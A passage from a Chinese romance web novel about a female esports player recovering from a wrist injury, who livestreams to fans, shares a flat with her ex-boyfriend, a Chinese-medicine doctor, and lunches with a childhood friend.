【汉城TK.Positive齐正阳:随便播点,复健训练。】
电脑右下角接连弹来两条消息。
沈灯心缓慢拖动鼠标点了进去。
本不想引起什么注意,但她显然忘了自己现在登的是职业号。
【汉城TK.Lamp沈灯心来了。】
炫酷的跑车拉轰特效随着这句话一同出现,弹幕前的粉丝顿时不淡定了。
【woc,捕捉到一只野生Lamp!】
【我女不开播来队友直播间是有什么心事吗?】
【灯心宝宝手伤怎么样了?】
【Lamp还没退役呢?】
【总决赛打的跟被上身了一样,现在还有心思看别人直播呢?】
【估计是怂了不敢开播吧,怕被骂。】
无数的弹幕从眼前闪过,齐正阳调试好镜头,正纳闷今天怎么这么热闹,再一看。
原来是她来了。
“自己还没开播,先来我直播间带一波热度是吧。
齐正阳在镜头前耍贫,目光快速扫过弹幕,几条对沈灯心不友好的发言惹了他的眼:“房管姐姐给点力,不好的弹幕都黑掉哈,省的我看了一股无名怒火。”
弹幕沸腾了起来。
[已有378人标记为名场面。]
【六百六十六,演都不演了。】
【我们沈齐批就是这么稳稳的幸福。】
【前面的,在选手个人直播间提cp,我看你是祝吧。】
【纯路人,感觉Lamp和Positive就是兄弟情啊。】
弹幕走势逐渐离谱,沈灯心被齐正阳这先天带节奏圣体折服,不敢在他直播间公然发消息,只得气急从微信回他。
沈灯心:[你是不是玩噬脑者(征锋游戏角色)玩多了,脑子被吃了?]
沈灯心:[避嫌懂不懂?]
她骂骂咧咧,实在是害怕运营一会儿闻着味找上来,匆匆退出了直播间。
齐正阳:[你骂人好脏。]
他撇嘴,发了个龙图皇帝的表情包,上面写着“给朕闭嘴”四字。
齐正阳:[对了。]
齐正阳:[我今天刷视频,还看见你和你那个中医前任了。]
齐正阳:[啧啧啧,好一出美救英雄的好戏啊。]
齐正阳:[皇射手~这样护短的事你从未对我做过~]
共事三年,沈灯心自诩是全队里最了解他的人。
性格好,天选E人,角色池深的恐怖,辅助位角色几乎就没有不拿手的,都是绝活。
作为团队中枢的指挥位,虽然偶尔会抽风,但整体发挥稳定,运营思路也是无可挑剔。
至于长相,在竞人里应该能排上前三?
唯一美中不足的,就是太贱了。
这也是沈灯心绝对不会把他列入“可发展”名单的原因之一。
隔着屏幕,她甚至能猜想到齐正阳此时的神情。
沈灯心:[……滚。]
沈灯心:[你看到我抱他了?]
齐正阳:[对啊。]
齐正阳:[但我刚看完,视频就被下架了,再找相关视频,里面就没有你了。]
沈灯心打字的手一顿。
这情况和她当时的情况一样。
难不成是公关发力了?
他们TK的公关一直不是虚名吗,什么时候这么厉害了?
沈灯心永远忘不了,上次TK以
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小组第一出线,为了庆祝,大家伙出去搓了一顿。
她酒量差,但架不住高兴,四瓶啤酒下肚直接断片,一把鼻涕一把泪的抱着树哭,结果被媒体拍下来挂在围脖上,暴尸三天都无人来管,害的她被翻来覆去的嘲笑了两年。
怎么这次这么迅速。
真是生不逢时啊,沈灯心感叹。
-
去厕所洗了把脸,简单打理过头发。
她看着镜子,发现自己的长相和左京墨的浓颜系长相完全相反,风格差异甚远。
杏眼,小弯眉,水滴鼻。
面部折叠度虽然不够高,但好在头骨够小,五官集中且精致小巧,看着舒服。
不必施加粉黛,摒弃雕琢才能最大程度的发挥出她的美。
途径次卧,她放轻脚步。
米白色的门虚掩着,柔和的光线从门缝中倾洒出几许,除了能听见几声敲键盘的动静外,便再无声音。
应该是在忙工作上的事吧。
沈灯心带上门,调试好镜头准备开始直播。
【汉城TK.Lamp沈灯心开播了。】
【汉城TK.Lamp沈灯心:好久不见,补时长。】
她换了身更为得体的深色睡衣,将能看见自己脸的小屏拖拽到左上角。
在齐正阳直播间露过面,粉丝似乎是猜中了她今天要开播,来得飞快,直播间在线人数直逼一万。
【呜呜呜呜,我女居然还记得直播间的家人们。】
【是有头的Lamp啊!我还以为再也看不见Lamp了。】
【哭哭,宝宝不要退役好不好。】
【求求了,再打两年吧!】
不知道怎么回事,弹幕齐刷刷的发着不要退役之类的话,里面还夹杂着不少眼熟ID的大粉。
沈灯心人懵了,挠头盯着弹幕看了好一会儿,满脸问号。
这都哪儿跟哪儿啊。
她怎么就要退役了?
看病这几天没怎么上网,打开围脖,她在搜索栏里输入自己的名字,相关搜索的第一条果真如她所料——
【Lamp沈灯心退役】
几个竞圈有名的营销号不知道是从谁那儿捕捉到了风声,拍了张她去医院的照片便开始造谣。
一说她手伤严重无法回归赛场,二说TK人才济济,她很有可能被替补或二队新人顶下。
编的有鼻子有脸的,她要不是当事人恐怕也要信了。
纵使事后TK俱乐部官方火速辟谣,澄清她只是休息而非退役。
但悠悠众口,哪儿能完全堵住呢。
关心则切,粉丝着急也在情理之中。
担心事态再度发酵,沈灯心柔声制止:“谁说我要退役了?”
她对着摄像头举起右手,“只是手腕上的旧伤一直没好,打算休息一阵子,什么时候彻底养好了再回去。”
“都是小问题,大家不要那么紧张。”
“至于什么时候退役……”
她停顿,卖了个关子:“等我什么时候拿了冠军,再想这件事吧。”
说是这么说,但手腕究竟能不能恢复如初,沈灯心自己心里也没底。
相较于决赛那天,手腕处剧烈的痛感明显减弱,尤其是做完理疗后,骨骼和肌肉会莫名有种“放松”的感觉。
但一到晚上,再或者拿东西的时候,依旧能感觉无力,发麻。
她将希望寄托于左京墨身上。
换个角度来说,她的职业生涯,亦是寄托于左京墨身上。
进一步,前路昭昭;退一步,身死道消。
8. 第八味药
【又拿手伤说事了。】
【要不是你最后一把操作失误直接蒸发,今年夏季赛冠军不就到手了吗?】
【666你说这?第二把如果没有Lamp那一手风骚走位的捷羽,TK连巅峰对决都没了好吗。】
【就是啊,最后一把很明显是视野问题。】
赛后初次开播,观众难免鱼龙混杂,粉丝吵完乐子人吵,串子黑子也要来掺和一脚。
沈灯心看着两极分化严重的弹幕,不知是该哭还是该笑。
输了比赛,就相当于没有发言权。
更何况她还是职业联赛里为数不多的女选手,对于谩骂与质疑,早已司空见惯。
不是不会难受,她也是个脆弱的人。
人生中,第一次在大赛中品尝到失败滋味的那天,她怅然若失的盯着灰色的电脑屏幕,看见获胜者一方的队伍走到舞台中央,被金色雨环绕。
然后弯腰,鞠躬,向粉丝教练致谢。
而他们,只能在暗淡无光的角落,默默将设备收拾好,宛若丧家之犬般的从后方走下台。
那天晚上,她一度哭到浑身颤抖。
后来,经历的失败与遗憾太多太多了,发现哭除了能博得粉丝的心疼外,毫无用处。
还不如多gank几把,或者多练一个游戏角色。
“都过去了,大家谈论那么激烈也无济于事,不是吗。”
生活总要翻篇,她在镜头前撑出笑容,暗自盘算着今天的直播干点什么,总不能像之前那样,尽职尽责的打排位一直到直播结束。
手伤不足以支撑她进行剧烈活动,就连碰鼠标都要小心翼翼。
再者,刚才在饭桌上,她还答应了那位不会打游戏来着。
要是被他发现,这人的脸指不定又要黑成什么样。
三小时的直播时间有些难熬。
征锋联赛和斗喵对直播合约这块卡的很严,明确规定,直播期间不允许套娃(套用别人直播间),睡觉等水时长行为,也不能玩其他公司的游戏。
沈灯心思忖片刻,有了主意。
登场首秀那阵,她经常趁着匹配的空隙和粉丝唠嗑,后来俱乐部接的训练赛和商务太多了,直播时间也紧张,渐渐就没了这个习惯。
“这样吧,今天我们来唠嗑局。”
她大手一挥,将椅背往后放了放,“大家踊跃发言,想问什么就问,没什么不好意思的,都是一家人。”
【保真吗主播?】
【什么都可以唠吗?】
沈灯心点了点头:“当然是真的,但你们别问我学业上的问题,问就是只能给你们提供情绪价值。”
此话一出,无数弹幕吻了上来。
【主播主播,捷羽好难,根本不会玩。】
“捷羽吗?”
面对拿手英雄,沈灯心回的轻松:“捷羽最关键的就是要利用好她的被动,每五秒掉落的羽毛,配合上大招,可以实现三段位移。”
“虽然现版本大部分人都不喜欢买雷劫,但我还挺喜欢的,可以加移速。”
“能玩好的话,是一个机动性特别强的射手,就算后期对面想针对,都很难抓住你。”
【那主播现在是自己住在外面吗?】
“嗯。”
她左眼皮跳了两下,“为了方便治疗先在外面小住。”
问题太多,她粗略的看了个大概,挑着有意思的回。
各色的文字从眼前飘过,沈灯心的视线被一个红色字的ID吸引,叫“忧郁企鹅”。
[忧郁企鹅:打职业期间会谈恋爱吗?理想型是什么样的?]
在清一色的问她手伤和未来规划的弹幕里,这个更倾向于感情向的问题显得特别。
红色ID较为稀少,大多都是在她直播间刷礼物刷到一定数额的富婆粉,再要么就是多年直播一场不落的忠实互动粉。
照理来说,她应该是有印象的。
尤其这个ID还很好笑,感觉像是上了年纪的老大叔,会用原始像素头像当□□头像的那种。
但她想破了脑袋也想不起来还有这号人。
可能是因为他很少互动?再要么就是他每次刷礼物都趁着她没开播的时候刷。
不然,她不可能一点印象都没有。
想了想,虽然“感情”这个话题略显敏感,但回答一下貌似也不妨事。
她摩挲着下巴,沉思了一分钟后认真回复:“我不知道你们有没有听过一句话,叫做——”
“电子竞技,不需要爱情。”
“砰——”
门外传来好大一声动静,像是有什么东西磕到了地板,她隔着主卧的一道门依旧能听得一清二楚。
害怕是家里的什么东西倒了,沈灯心起身开门,差点迎面撞进左京墨的怀里。
次卧的门大开,如云纱般柔和的暖黄灯光打在他宽阔的肩膀,好似镀上了一层薄金。
靛蓝色的居家服衬得他肤色更白,气质清冷脱俗。暗银半框眼镜架在高耸的山根上,平添出禁欲的气质。
“你,你怎么出来了?”
她放低音量,害怕被直播间的观众发现家里住了男人,再传出些莫须有的绯闻。
阴影照在他锋利的下颚上,话语间夹枪带棒:“我不能出来吗?”
“……我不是这个意思。”
沈灯心沉默两秒,将家里的灯打开,“我刚才听到好大一声动静,还以为是什么东西倒了。”
“你没听到吗?”她问。
稚鹿般忽闪的明眸看着他,左京墨紧握双拳,大喘口气后低垂下眼皮:“是我刚才没坐好,椅子倒了。”
他说着,感觉到身体某处的异样,视线下移,紧咬牙根。
声音从齿间飘出来:“你还想摸多久?”
“?”
指尖陷进某样柔软而富有弹性的怀抱,沈灯心低头,发现自己伸出的左手及时挡在了两人中间。
就是位置有点尴尬,摸到了他的胸肌上。
“抱,抱歉……”
她打了个冷战,猛地收回手。
关门,进屋,一气呵成。
-
再看弹幕。
【主播人呢?】
【怎么感觉听到了说话的声音?】
【主播家还有别人吗?】
“啊?没有别人啊。”
沈灯心落座,眼珠转动,临时编了个理由:“刚才家里的猫调皮,把东西摔了。”
【猫?主播还养猫了?】
【看看小猫咪!叫什么名字呀?】
“叫什么名字……”
大脑飞速运行,沈灯心一时编不出来,索性直接用了左京墨名字的最后一个字。
“小墨!就叫小墨!”
听起来还挺可爱。
她庆幸于自己的反应之快,但转念一想,突然又有些后悔说谎。
家
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里没有猫,更何谈而来的名字呢。
这一次谎话过后,如果有粉丝再问起小墨,那她就又要用很多的谎去圆。
总感觉不是很好。
算了。
相比于小猫,还是被人发现她和男生同居这件事更棘手些。
“我们刚才说到哪儿了?”
她深呼吸,平复了一下自己的情绪,“打职业会不会谈恋爱是吧。”
“嗯……”
“我不知道别人,但我大概率不会吧。”
沈灯心左手撑着脸,安静的思考起这个问题。
圈内竞人对恋爱一事的看法大致分为三派。
第一派系,绝情派。
秉持着天将降大任于斯人也,必先不谈恋爱,不私联粉丝,全神贯注于电竞事业的原则,坚决抵制打职业期间谈恋爱的行为,认为电子竞技不需要爱情。
第二派系,随心派。
对恋爱一事的看法较为中立,如果有真的很喜欢的人,会认真考虑后决定谈或者不谈,如果谈了会告知粉丝。
第三派系,也是人最多的一派,来者不拒派。
基于长相和竞技实力都不算特别出彩的情况下,如果有人看上了就谈,没人看上就不谈。
很显然,沈灯心一直是第一派系的忠实拥护者。
手腕隐约又在发麻,她打开药箱,拿出左京墨前几天给她配好的穴位贴。
撕开薄膜,围绕着尺桡关节贴了两个。
药物的热感上来的很快,她看着自己的手腕,大脑似乎也被药物刺激的热了起来。
“但是吧。”
她话锋一转,莫名其妙来了句:“缘分这种东西,好像也说不好。”
“理想型什么的……”
“就两大要求吧,长的好看,会打游戏。如果可以的话,最好还有点小钱,因为我打算退役后去环游世界来着。”
微信小窗被运营拍了拍,沈灯心一惊,知道自己又说多了,赶紧悬崖勒马换了个别的话题。
-
这场直播总算将近尾声。
关掉征锋的休闲卡牌模式,沈灯心活动了一下手腕。
屏幕上飞过两架卡通版的玩具飞机,后翼带着五彩玫瑰花瓣转瞬而逝。
这是斗喵直播里一千块钱一个的直播间礼物,飞机浪漫。
她赶紧谢礼:“感谢沈灯心乖宝宝送来的飞机浪漫,谢谢老板。”
粉丝们大多会趁主播有空的时候送礼,这样的话,感谢礼物的时候就能念到自己的名字,钱花的也不算太冤枉。
沈灯心并不主张送礼物,劝了半天,但架不住粉丝的热情,只得一个一个把粉丝ID念了一遍。
“感谢Lamp手伤快好送来的9999朵玫瑰,谢谢老板。”
“感谢灯心天天开心送来的白色别墅,谢谢老板。”
“感谢……”
话说了一半,屏幕突然卡顿。
白色的雾气在电脑屏幕里拂过,一座金碧辉煌的城堡平地惊雷而起,旋转360度后化作无数金币散开。
正中央还写有一句自定义留言——
[忧郁企鹅:早点睡觉,希望你能好好治疗。]
金色城堡在她直播间足足刷了将近五分钟,沈灯心不敢想他花了多少钱,感谢的话卡在嗓子眼里,化成了震惊。
这是消费人民币五千才能买下的至尊嘉年华。
这人这么有钱的吗。
9. 第九味药
晚上十点,直播结束。
沈灯心向后仰在电竞椅上,伸了个懒腰。
精神上的疲惫超过了□□,医闹一事傍晚才刚得到妥善解决,本想着晚上开直播放松一下,谁料风波又起,一茬接着一茬。
起身走到落地窗边,她来汉城三年有余,大部分时间窝在俱乐部里闭门不出,鲜少有机会能看见这么好看的江景。
汉城的夜晚,比白天更加迷人。
主卧的落地窗直对长江,一条横跨两地的大桥矗立在江面上,恢宏霸气。任由轿车从桥上飞一般地疾驰而过。
两岸的高楼鳞次栉比。
江水倒映着桥上的亮光,晚风轻拂过江面,微波荡漾。
楼下的车流量不算小,马路上时不时传来微弱的鸣笛声。
沈灯心向下看,临江的梧桐道上多的是散步的小情侣,两人手拉手,步伐轻快欢愉,好像有着说不完的话。
也算是一种风景。
让她意外的,有些羡慕的风景。
次卧的灯不知道什么时候熄的,他作息一向健康规律,这个点儿了,估计已经睡了。
拉上窗帘,黑暗笼罩进整个房间,月光被挡了个结结实实。
时钟走针碾过表盘,滴答滴答的响,吵的人有些心烦意乱。
沈灯心闭着眼,尝试入睡。
蓦地又想起了那个忧郁企鹅的问题。
真是害人不浅。
-
前半夜失眠,她干瞪眼熬到凌晨。
好不容易等来点困意睡了个把小时,偏偏还做了chun梦。
梦里的一切显得缥缈,虚幻,自带有浓烈的罗曼蒂克滤镜。
她能很清醒的意识到自己这是在做梦,但操控不了自己的行为,也说不出话。
“醒来了?”
日光透过窗纱,轻柔的照在她脸上。
她循着声音的源处看去,目光下落的瞬间怔愣住。
男人身材健硕,侧躺在她身边,带着莫名的涩。
他的脸上始终浮着一抹薄雾,像是故意不让她看清。
又像是一种另类的刺激。
男人是抱着她睡的,左臂枕在她脖颈与枕头的缝隙下方,手搂着她的肩膀,轻微使力,足以将她勾进自己的怀抱。
这是个占有欲很强的动作。
她没有反抗,顺着他的动作埋进他怀里。
肌肤相贴,暧昧至极。
温热与黏腻将她尽数裹挟,沈灯心没恼,反而用头顶亲昵的蹭了蹭他的下巴,像只餍足的猫。
拥抱良久,她抬眸。
略有不甘的伸出手,想将男人面前那层碍事的薄雾挥去,看清他真实的面容。
最起码,她想知道,自己人生中第一次做chun梦的对象,到底长什么样。
然后。
她看见了左京墨的脸。
……
天杀的梦。
……
天杀的左京墨。
大梦初醒,戏剧效果达到了极致。
沈灯心烦躁的抓了抓头,头回觉得自己好像被梦耍了。
打开周公解梦,她在搜索栏里打下,做春梦梦见前男友是怎么回事几个字。
手指上下滑动屏幕,答案万变不离其宗。
——反映了做梦者对过去的感情生活,仍存在一定的感情纠葛。
仔细一想,倒还真是。
但谈不上感情纠葛,最多是接触。
白天在医院见完晚上回家见,她最近同左京墨几乎要同吃同住,这才会夜有所梦。
沈灯心并不排斥chun梦。
十五六七岁,人最容易坠入爱河的年纪,也是最容易做chun梦的年纪。
她把自己荷尔蒙转移成了对电子竞技的热忱,就算十八那年曾年少无畏的和左京墨谈过一阵,但她也没想过对他动手动脚。
做过最出格的事情,也只是和他亲了。
随着身体器官趋于成熟,沈灯心觉醒了感情上的天赋。期待过,亦想象过,自己的第一个chun梦会是什么样子。
但她没想过,自己chun梦的对象,会是她的前任,左京墨。
躺下来,她继续尝试着入睡。
无奈大脑皮层兴奋着,困意早就被消磨的一干二净,怎么睡都睡不着。
沈灯心摁亮手机,一看表,早上九点。
她拢共睡了五个小时不到。
手机里正好有微信视频电话打进来,她瞄了一眼备注。
是冯弈萱。
她最好的朋友。
两人从幼儿园相识,彼此家挨的近,没事就在一块玩过家家。
因为划地区上学,两人一直到初中都没分开过。久而久之的,关系自然好到能睡同一张床,穿同一条裤衩。
高一那年,沈灯心沉迷征锋无法自拔,假期里拉着冯弈萱一起玩。
没想到,冯弈萱也爱上了这款游戏。
相较于追求极致的伤害与压制,冯弈萱更倾向于增益与保护。
就这样,两人怀揣着对征锋的同等热爱,许诺说要一起成为电竞选手,拿下冠军。
一射一辅,杀穿天下是迟早的事。
可早年间,人们对电竞选手的了解过于片面,只停留于“那帮臭打游戏的”界面。
冯弈萱成绩好,家里人早早就帮她铺好了路。
听见她说要去当什么职业选手,冯弈萱的爷爷更是直接气到住了院。
耐不住家里人的逼迫,冯弈萱只好放弃了这个梦想。
本以为两人会就此走上截然不同的道路,谁料她放着好好的新闻主持不当,非读了个电竞解说专业。
按下绿色的接听按钮,沈灯心接通了电话。
“心心!”
电话那头的女生笑容明媚,唤着她的小名,“猜猜我在哪儿?”
女生翻转摄像头,站在原地缓缓的转了一圈。
蓝白相接的槿江路路牌一闪而过,镜头停下聚焦,再看,一座通体黑色的异形大楼立在眼前,别具设计感。
白色的两个英文缩写更是没来由的亲切。
“你怎么来汉城了?”沈灯心从床上爬起来,“还去TK大楼了?怎么也不告诉我一声。”
”
“我又不是来找你的。”冯弈萱得意的扬起嘴角,有点骄傲:“姐们刚通过了征锋的解说员面试,途径你们俱乐部,想着支持你这三年,TK也算我大半个主队了,就合了张影。”
“怎么样,牛不牛逼?”
“牛逼。”沈灯心笑笑,由衷替她高兴。
放平手机,她换下睡衣,“只可惜我现在人不在TK,不然就请你进来坐坐了。”
“那怎么了。”她挑眉。
“以后有的是时间呢,怎么着,你不是外面租了房子吗,我现在去你家找你玩儿去。”
“你快别说这个了。”
沈灯心叹了口气,“我一直没敢告诉你,我是和别人合租的。”
“合租?!”
“男的女的?你认识吗?我认识吗?”<
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p>冯弈萱连续发问,明显有些着急。
看出她眼底的不悦,沈灯心的心虚更甚,声音随之小了几分:“你认识的,就……我那个前任。”
她说着,推开卧室门。
阳光晃眼刺人,照的她眼睛生疼。
锃光瓦亮的地板上光影交错,视线里多了个身影。
男人一身休闲装扮,优哉游哉的坐在真皮沙发上,少了些平日的正经。
长腿交叠,他只手撑脸,指间轻翻过面前书的一角,分给她些许目光,像一幅遗世独立的画。
“什么?!”
电话那头的声音穿透屏幕,在安静的房间中回荡,“你前任?就是那个哑巴男?你怎么和他同居了?”
“……”
沈灯心光顾着看他,全然忘记了自己还在和冯弈萱打电话。
匆忙关掉视频,她轻咳两声缓解尴尬。
“你怎么没去上班?”她问。
左京墨收回视线,继续看书:“今天周六,不是我值班。”
“这样啊……”
沈灯心睫羽微颤,移开视线。
耳尖有些烫。
今早的梦实在太过难忘,以至于她现在一看见左京墨,难免想到那些个亲密画面。
记忆长了脚,蛮横的入侵着她的大脑。
一时间,沈灯心不知道该怎么去面对他。
“没睡好吗?”左京墨依旧低着头,声音淡淡,“你眼下发青,又熬夜了?”
“没有。”
她如实交代:“昨晚失眠,好不容易睡着,又……被梦吓醒。”
“嗯。”
他没再追问,起身走进厨房,似乎对“哑巴男”这一称号也置若罔闻。
刚才冯弈萱说话的声音那么大,沈灯心不相信他没有听到。
消息轰炸所带来的震动让沈灯心手麻,她打开手机,赶紧回复消息。
[冯弈萱:怎么还挂我电话?]
[冯弈萱:视频未应答。]
[冯弈萱:他没对你做什么吧?]
[沈灯心:怎么可能。]
[沈灯心:但这件事吧,说来话长。]
[沈灯心:这样,你先坐2号线到时代广场下,我请你吃饭,边吃边说。]
安排好行程,她长舒口气。
起得太早,胃里空的难受,距离吃饭还有两个小时,沈灯心琢磨了一下,决定去厨房觅食。
冰箱里的食材被划分的井然有序,熟制主食和面包酸奶在最上层,中层多为水果和新鲜蔬菜,豆制品,肉类则被他放在了最下层。
沈灯心随手拿了个面包出来啃,不禁感叹J人的恐怖。
“中午出去吃的话……”
坐在餐桌前的男人发了声,将一袋中药液推到她面前,“打算几点去做针灸?”
苦味钻进鼻腔,嘴里椰蓉面包的香味被冲淡了不少。
沈灯心没想那么仔细,说了个大概:“去时代广场吃完,再溜一圈,差不多三点能到。”
他点头,又往她面前推了一样东西。
看着像是糕点。
“玫瑰茯苓糕,你一会儿喝完中药记得吃。”
嘱咐完这句话,左京墨离开餐桌回到客厅,继续看起那本书。
粉白相间的精致糕点散发着玫瑰的清香,沈灯心伸手,轻轻拿出一块咬下边角。
细腻的糕粉从舌尖滑过,没有传统糕点的干噎感,反而倍感丝滑。
原来。
左京墨还记得她昨天说过的话。
10. 第十味药
约定的吃饭地点在一家法餐厅。
地理位置优越,环境也不错,低饱和度的琥珀色装修别有格调。
提前五分钟到达餐厅,沈灯心选了个靠窗的安静角落,等待冯弈萱的到来。
欧式古典穹顶上挂着水晶吊灯,阳光照到水晶切面上,反射出如同火彩般的七色光芒。
长街里人来人往,沈灯心撑手看向窗外,瞧见一抹熟悉的倩影。
利落的及肩短发被风吹起,她推开门,风风火火的走进来,将包随手扔在座位上,单刀直入。
“说说吧。”
“你和那个哑巴男。”
话题切入的太快,沈灯心坐在位置上,有些吃不消。
“别急嘛。”
她说着,从座位下拿出个精致的黑色手提袋,递到冯弈萱面前。
语气里带着几分讨好的意味:“先看看礼物,我准备了好久呢。”
“干嘛。”
冯弈萱防备着她的示好,睨了黑色手提袋一眼,被那三头蛇形的绿色商标吸引住目光。
“雷蛇?”
沈灯心点点头:“你最喜欢的那款。”
冯弈萱眉头见松,做了漫长心理斗争后终是没妥协,一脸严肃的将礼物反推回去:“我告诉你啊,你别想着讨好我,你瞒着我和哑巴男同居这事,我还生着气呢。”
“哎呀~”沈灯心拽着她的衣角晃了晃,柔声细语道,“先看看嘛,又不妨碍你继续生我气。”
她继续将黑色手提袋递给她,对她这个发小的脾性了如指掌:“相信我,我保证,你绝对会喜欢的。”
冯弈萱:“真的?”
沈灯心:“真的。”
打蛇打七寸,冯弈萱被拿捏住好奇心,眸中的火气更是消了大半。
她将手伸进袋子,摸出来个四四方方的东西,并不算重。包装盒很新,冯弈萱亲手揭晓惊喜,将盒子转到透明一面。
下一秒,她整个人呆在了原地。
“卧槽。”
冯弈萱没忍住爆了句粗口,拿着包装盒的手都在抖,“正款的?”
这是雷蛇与SNG战队的联名限定款鼠标,全国总共就发行了五个,有价无市。她几次想高价收,却都被对方以“用来珍藏”四字告终。
不过是随口和沈灯心吐槽过几句,谁成想,她竟真有办法买到。
“你说呢?”沈灯心将手提袋中的信封拿出来:“雷蛇包揽了征锋联赛的设备权,上次我去参加活动,向他们老总要了这个鼠标。至于信封里面的东西,是我代你向Soul要的签名。”
“本来应该在你还没考下解说证前给你的,但赛程实在太紧,一直耽搁了。”
做朋友多年,沈灯心一直知道,冯弈萱有个喜欢了多年的选手。
海城SNG的ad位Soul。
在青训的那段日子,她时不时和Soul有过友好切磋。人是不错的,作为前辈,没有摆出什么让她端茶送水的架子,更没有因为她是女选手而看轻自己。
美中不足的,是他的性格太过内耗,容易被外界舆论干扰,二十一岁就退了役。
后来SNG返聘他为教练,沈灯心这才在赛场上见到他,要到了签名。
“真的是亲笔的?”
冯弈萱伸手想去摸他的签名,又怕出了汗的指尖弄花签字笔,只敢捏着纸的四方小角看来看去,“你管他要的时候,怎么说的?”
“你猜猜。”
难得看见冯弈萱小女人的一面,沈灯心恶趣味高涨,戏谑的看向冯弈萱:“我和他说,我有个朋友喜欢你很多年,马上就要考解说证,可不可以帮她签个名,加个油。”
冯弈萱接着问:“然后呢?”
“然后他就签了啊。”回想起当时的场景,沈灯心补充了一句细节。
“他还说,祝你考试顺利。”
-
服务生推着三层小车走来,用夹子将一层的热毛巾递到两人手上。
冯弈萱并未着急去接,她先将鼠标和签名放回手提袋中安置好,接着将手擦净,拿起菜单。
平日里不怎么吃法餐,她嫌麻烦,依着两人的口味点了个中午餐套餐。考虑到他们家的惠灵顿是招牌,便将套餐里的M7牛腹排换成了黑金惠灵顿牛排。
也算尝个新鲜。
“你这手,还能喝酒不?”
菜点的差不多,冯弈萱的视线停留在菜单尾页的酒水推荐上,得到沈灯心婉拒后向服务生礼貌说道:“一杯Tropic
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al,一杯温水,谢谢。”
穿着得体的服务生面带笑容,鞠躬离开。
喜悦的劲头淡去,冯弈萱想起正事,若有所思的看向沈灯心的手,问:“医生怎么说?”
“先理疗着呗。”
唇角扯成一道直线,沈灯心敛眸,在她面前袒露心声,“说实话,自从去了医院,我就没肖想着能再打几年。”
“就是有点不甘心。”沈灯心咬牙说,“最起码,我想夺个冠再退役。”
胡桃木的餐桌上摆着一瓶陶瓷花樽,模样清秀,一枝紫色鸢尾花独立其中,倒是挺有情致。
冯弈萱看向沈灯心,猛地想起紫色鸢尾花的花语,好像是热烈与坚韧。
和她还挺相配。
半年多没见,如今细细看来,沈灯心似乎又变了样。打视频时还没什么感觉,回到现实生活再看,却很明显的又清瘦了不少。
年纪轻轻的,都快有眼袋了。
想想也是,自从TK当年力排众议,掏光家底将沈灯心签下。
这家伙便一直感念知遇之恩,直接把这个常年在B组倒车尾的老牌战队,奋力拉到了S组,留下一道血路。
就差把整个青春,连带她自己,都奉献给了TK。
可主心骨哪儿是那么好当的,赢了也就罢了,一旦输一场,铺天盖地的骂声就如同潮水般将她淹没。
冯弈萱知晓沈灯心是个不显山不露水的性格,虽然面上没心没肺了些,但心里指不定得难受成什么样。
她不愿继续这个有点沉重的话题,转而问道:“你和那个哑巴男呢,怎么回事?”
服务生把前菜端上来,份量不大,却很精致。
沈灯心没着急回复,拿起一片手工制作的餐前面包,沾上罗勒味的黄油,大口送进嘴里。
空气里弥漫着香草荚和黄油的甜腻香味,她思考着该从哪儿说起,想了半天,憋出一句话。
“都是经理的错。”
“……”
冯弈萱拿着叉子的手一顿,气的想当场骂街:“说重点行不行?你们俩怎么就又见面了?他对你态度怎么样?同居这几天都干了什么?全都一五一十的说出来。”
三连问如同惊雷般抛出,砸的沈灯心头晕眼花。
11. 第十一味药
这几天经历的种种冗杂繁琐,她抿了一口温水,长话短说:“决赛过后,经理托朋友给我约了个中医,说让我去好好治一下手伤。”
“其实,自从听说那个医生姓左后,我就有点惴惴不安。本以为是重姓,结果到了医院,隔着口罩我都把他认出来了,就是同一个人。”
“隔着口罩?”冯弈萱捕捉到重点,“看样子,你对他还是余情未了啊,记得那么清。”
“哪儿啊。”沈灯心哂笑,“主要是他那双桃花眼,还有那颗眉上痣,实在是太好认了。”
她单手卷起奶油小弯面,汤汁差点溅到身上:“这两年商务多,也不是没和娱乐圈那帮男星一起活动过,但我还是觉得左京墨那张脸最权威。主要是他身上的气质,我觉得谁都模仿不来,就像什么呢……中药?”
“看似苦涩,实则回甘。”
“有那么夸张吗。”冯弈萱打开手机,在小程序里搜索仁济中医所,“我倒要看看,他现在长成什么样,值得你这么夸。”
找到对应科室,冯弈萱点开左京墨刚更新了没多久的主治医生照片,是个蓝底的证件照。
硬朗的五官无需刘海修饰,她从这张证件照里看出一种松弛感,不同于那些网红的强凹造型。人站在那儿,就是硬帅。
郎艳独绝,世无其二。
这八字用来形容他简直恰如其分。
“好吧。”
冯弈萱关上手机,“我承认,他长的确实有点东西,但这并不能成为你和他同居的理由,你自己掰手指算算,你们分手都快五年了吧。”
“我又不是自愿同居的。”
“?”酥皮馅饼拿起又放下,冯弈萱被这话惊到:“他强迫你的?”
“怎么可能!”
沈灯心摆手:“当时我让经理帮我找房子,本来说好一个人住,谁料房东家弟弟来了,没地住,然后就同居了。”
“不是……这和哑巴男有什么关系吗?”
“当然有。”沈灯心说,“关系大了,谁能想到,那个房东的弟弟,就是左京墨。”
“啊?”信息量太大,冯弈萱一时消化不过来,幽幽的问了句:“你们俩真的不是在演小说吗?这么有节目的。”
“……”
-
汉城位处秦岭以南,四季分明,天气却极端多变,时晴时雨。
玻璃窗外的蓝天上飘来几朵乌云,方才还晴空万里的天刹那间暗了些,像是要下雨。
服务生将惠灵顿牛排等主菜上齐,蜂蜜香鸭胸经过煎烤后表皮焦脆,内里多汁。
“饭后甜点什么的还需要吗?”
服务生笑的客气而礼貌,沈灯心随便点了份草莓蛋糕,猛地想起包里的东西,冲冯弈萱说道:“对了,我还给你带了个好吃的,你先尝尝这个。”
得亏她包够大,正好能放下黑色手提袋和保鲜盒,再小一点都装不进去。
“这是什么?”冯弈萱看见保鲜盒里粉白相间的精致糕点,还以为是沈灯心买的,“哪家糕点铺啊?看着还不错。”
“做的。”
沈灯心翘起眼尾:“左京墨做的。”
玫瑰茯苓糕即将送入嘴中,冯弈萱闻言僵硬住,突然不敢吞下去。
她讪讪的笑了笑,问:“这里面不会投毒吧?”
“我都吃了好几块了,要是有毒早就嘎了。”沈灯心说着,先吞了一块,向她解释缘由,“前几天喝中药,苦的我直干呕,可能是他良心发现了吧,转过天就给我做了个蜂蜜柠檬,今天的是玫瑰茯苓糕。”
“这么贴心?”
冯弈萱沉思片刻,煞有其事的问道:“你就没想过,他为什么给你做这些?”
作为这两人恋情的全程见证者,冯弈萱知晓沈灯心当初的绝情。
所以,她并不认为一个被前女友那样伤害过的男人,会如此心平气和的与前女友同居,甚至还为她做糕点这种费时费力的东西。
